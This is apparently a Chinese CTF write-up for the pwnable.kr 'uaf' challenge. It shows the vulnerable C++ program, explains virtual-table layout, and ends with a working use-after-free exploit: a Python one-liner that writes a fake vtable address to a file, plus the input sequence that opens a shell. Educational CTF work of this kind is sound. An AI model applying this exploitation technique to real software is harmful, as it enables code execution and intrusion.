uaf

Mommy, what is Use After Free bug?

ssh uaf@pwnable.kr -p2222 (pw:guest)

 

题目里的文件可以用scp -r -P 2222 uaf@pwnable.kr:uaf /mnt/hgfs/share命令下载

题目是一个c++程序,源码如下:

#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
        virtual void give_shell(){
                system("/bin/sh");
        }
protected:
        int age;
        string name;
public:
        virtual void introduce(){
                cout << "My name is " << name << endl;
                cout << "I am " << age << " years old" << endl;
        }
};

class Man: public Human{
public:
        Man(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
        Human* m = new Man("Jack", 25);
        Human* w = new Woman("Jill", 21);

        size_t len;
        char* data;
        unsigned int op;
        while(1){
                cout << "1. use\n2. after\n3. free\n";
                cin >> op;

                switch(op){
                        case 1:
                                m->introduce();
                                w->introduce();
                                break;
                        case 2:
                                len = atoi(argv[1]);
                                data = new char[len];
                                read(open(argv[2], O_RDONLY), data, len);
                                cout << "your data is allocated" << endl;
                                break;
                        case 3:
                                delete m;
                                delete w;
                                break;
                        default:
                                break;
                }
        }

        return 0;
}

我们的目的是执行give_shell

题目存在UAF漏洞

这里还涉及到一个知识点,对于类里有virtual关键字的函数是虚函数,它可以实现多态性

虚函数的实现是通过虚表的,虚表一般位于对象的最开始,里面按顺序存放有虚函数的地址,如果出现子类覆写虚函数的话,只需要将虚表中对应地址替换即可,对于多重继承的可能会出现多个虚表的情况,否则一般一个类只有一个虚表,虚表之后会是父类数据,父类数据之后是自己的数据

以Man的构造方法为例:

Human *__fastcall Man::Man(Human *a1, __int64 a2, int a3)
{
  Human *result; // rax

  Human::Human(a1);
  *(_QWORD *)a1 = off_401570;
  std::string::operator=((char *)a1 + 16, a2);
  result = a1;
  *((_DWORD *)a1 + 2) = a3;
  return result;
}

这里面这个0x401570就是Man的虚表,按照题目的顺序0x401570会是get_shell的地址,0x401578会是introduce的地址

我们可以利用UAF,将虚表偏移,使得原先introduce的地址变成get_shell的地址,这样调用introduce即可获得shell

因此首先python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'" > /tmp/exp.txt

然后./uaf 24 /tmp/exp.txt

然后选择3,2,2,1即可

posted @ 2021-09-29 19:37  hktk1643  阅读(258)  评论(0编辑  收藏  举报